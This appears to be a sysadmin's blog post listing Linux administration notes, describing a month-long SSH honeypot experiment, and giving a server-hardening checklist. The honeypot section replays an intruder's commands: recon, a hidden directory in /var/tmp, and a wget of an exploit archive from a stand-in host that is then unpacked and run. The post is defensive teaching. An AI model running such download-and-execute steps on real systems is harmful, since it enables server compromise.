Linux sysadmin notes

Updated the collection of my Linux system administration notes in Github, now it has reached 50 snippets:

Linux exclude a process from being killed by oom killer
Linux mini forensics on unknown running process
Django Celery
Postfix mail review
Run script detached from an SSH terminal
Linux Check SSL connection
rsync example
Linux Test cron
Linux renice many processes with the same name
PHP Send mail with Amazon AWS SES without extra library
Delete files in a folder older than a number of days
MySQL Master-Slave Replication
Create Java KeyStore from SSL certificate
Python script to test/monitor if a Django site using authentication is up
Linux "Too many files open" error
Apache2 optimization
Apache Redirect Subdomain to port
Linux find files opened for writing
Find Linux users that can log in with password
Apache security: installing mod_security
Linux Server Utilization
Linux disk/memory stress test
Linux honeypots
Linux remote syslog
Monitoring Plesk with Monit
Linux check DNS cache snooping
Linux shell here document on the fly
Heroku Python
Apache password protect directory
Linux making disk space
Mysql status, check & repair
Linux: Block IP with iptables
Replace relative to absolute URL in a file
Set permissions for web files & directories
Linux find IPs with most web connections
Linux monitor & react to event in log file
Defending against Spam using Linux Postfix
Apache optimization with Google's mod_pagespeed
Linux mail server for sending only
Linux Passwordless SSH
Linux better command history
Linux get email for SSH Logins
Linux SSH Filesystem
Linux cloning packages (Debian/Ubuntu)
Linux protecting critical directories
Linux file integrity with tripwire
Linux server monitoring with monit
Linux server stats with munin
Linux encryption and decryption
Linux Rootkit check
Linux disk space email alert

Honeypots

A honeypot is an application that simulates operating systems and network applications with vulnerabilities while silently logging the attacker's moves. The objective is to trap hackers and learn about their behaviour, collecting malware for analysis and also it can be used to distract the attacker from real systems.

I provisioned a VPS (Virtual Private Server) on the cloud and installed two honeypot systems (see https://gist.github.com/1870552 for notes on them). One honeypot application offers a secure shell (SSH) service and the other one simulates several services with well-known vulnerabilities.

The SSH honeypot had as 'root' (system administrator account) password '123456', which is the second most common password that malicious scanners try. Five hours after the server was created - with an IP address that may have been inactive for some time - I detected the first successful intrusion; a scanner being run by a malicious agent had detected the fake open SSH service and guessed its root password.

After running this server for a month I found there was 75 malicious uploads and 2,483 probes or exploit attempts from many parts of the world.

Here's an example of an intruder's SSH session, it's from a real interaction where I just did some editing for clarification.

First the attacker checks if someone is logged in and looks for some basic information about the system:

$ w
$ cat /proc/cpuinfo;uname -a;

Then he creates a somehow hidden directory (its name is just one space) in the temporary directory, which is usually writable by anyone and tgus a favorite destination for crackers:

$ cd /var/tmp;mkdir " ";cd " ";mkdir .ssh;cd .ssh;

Now he downloads a compressed exploit:

$ wget http://somebadsite.expl.tgz

Next he prepares the file, extracting it and making it executable:

$ tar xvf expl.tgz;rm -rf expl.tgz;cd expl;chmod +xw *

Finally he runs the malicious software, which in this case is a SSH brute force tool:

$ ./a1

The lesson here is that if you have a common network service exposed to the Internet with a weak password or a known vulnerability then it’s only a matter of hours or days until your server is compromised.

Server Security Checklist: Top Measures

I’ll review here almost in a checklist form security measures in order to protect a server exposed to the Internet. In general security measures will fall in one of the three classic Protection, Detection and Response & Recovery categories.

1) Protection means hardening your server, both system and applications.

In general for an Internet-facing server the three biggest vulnerabilities that are exploited from the outside are: weak passwords, out-of-date applications or system and running unneeded services or unsafe versions when other more secure versions exist.

For a web server the biggest vulnerability is in the web application itself, particularly wherever there’s user input (forms or APIs). In this case if you have a custom app only a security assessment from a professional firm can give you some assurance of its security. For an “off-the-shell” popular app you want it to be updated to its latest version and subscribe or be on top of their security bulletins.

For a server in general (having Linux in mind but the general advice applies to Windows and other operating systems) let me review the typically biggest security issues:

Weak passwords: login access with poor passwords (passwords that are words in a 'hackers dictionary', like a simple word or combination like 123456) are probably the single most vulnerability exploited in the Internet. Solutions:


  • Use strong passwords, this is the most important measure. Also:
  • Log access events.
  • Filter the login access (in the firewall, based on IP origin for example).
  • Carry your own controlled password brute force / dictionary attack.
  • Use key pairs and disable password access for SSH.

Unpatched software. Exposed services (web, mail etc) and applications (like a web-based CRM application etc) that are not updated usually have well-known vulnerabilities that malicious hackers look for and have the tools to exploit. Solutions:

  • Update system and application software (periodically, with testing and possibility of quick roll-back).
  • Subscribe to the software security newsletter (if it exists) or keep track of its development.
  • Run periodically an external vulnerability assessment or have an independent third-party to do it.

Unnecessary or unsecured services running. Exposed services or applications that are not used or needed are just other ways for intruders to get in. Sometimes the organizations don't even know that they are there; especially in the past some server installations would by default install unneeded services. Another side of this is to run insecure applications when there's a perfectly similar solution that is more secure. For example an FTP server transmit all information (including passwords) in clear text over the network, so an encrypted solution like SFTP/SCP or SSL over FTP is preferred. Solutions:

  • Remove unnecessary software packages.
  • Run periodically an external port scan.
  • Look for safer alternatives for server software.
  • Consider outsourcing some services like DNS or email to experienced vendors.

As other protection and hardening measures:

  • Use a firewall (either a physical box or software-based) to block by defaults all ports that are not in use, implement basic safety measures (for example avoid spoofed addresses; no connections from the outside pretending to be from an internal IP address) and rules to mitigate denials-of-service attacks by limiting the maximum number of connections at a given time from a particular IP address.
  • Protect remote management or control panel access points with port-knocking and/or source-based IP filtering.
  • Harden the particular service that is public following the vendor's recommendation.
  • Don't give away fingerprinting information: version names and numbers from the public application pages, banners or signatures.
  • Security by obscurity is fine as long as you know what you're doing, you don't rely on it and it's just an added measure. An example is changing the port of a service that is intended for administration and not the public (like SSH), another example is changing the URL of administrative tools from the default (like /admin) to something harder to guess.

Think "outside of the box" and consider the network infrastructure too: besides the server you also want to protect its availability in case of failure, DoS etc. One simple strategy for a web server is to have a backup server and use DNS fail-over.

Also consider virtualization and using different Virtual Private Servers (VPS) to separate server functionality, both to contain possible exploit damages and for easier management (deployment, backup and recovery).

2) Detection.
There are several general tools and ideas for intrusion detection:


  • Logs. Logs are a sysadmin’s best friend. There are auxiliary tools or whole systems to manage/archive logs etc, from parsers and warning tools to complex apps for log management.
  • Monitoring tools. Sudden unexplained big increases in CPU or bandwidth may indicate a security problem. Monitor your server utilization (CPU/memory/Disk space and I/O) from the inside with a graphing tool and also from the outside with an uptime server monitor as well as a change monitor.
  • Intrusion Detection Systems (IDS). I don’t recommend in general using a network IDS for a single server basically because you’ll get all these alerts and you won’t know what to do with them and at the end you’ll ignore them. Do install a host-based IDS that checks the integrity of critical files with checksums.
  • Rootkit detectors: these tools will detect many standard exploits by scanning for changed system files and backdoors.

Note that there are open source tools and affordable or free services for most/all the areas mentioned above.

3) Recovery. This is arguably the most important category of the three. For a single server it means mostly having a good backup strategy including frequent, automated backups, several levels of backups including one off-site etc.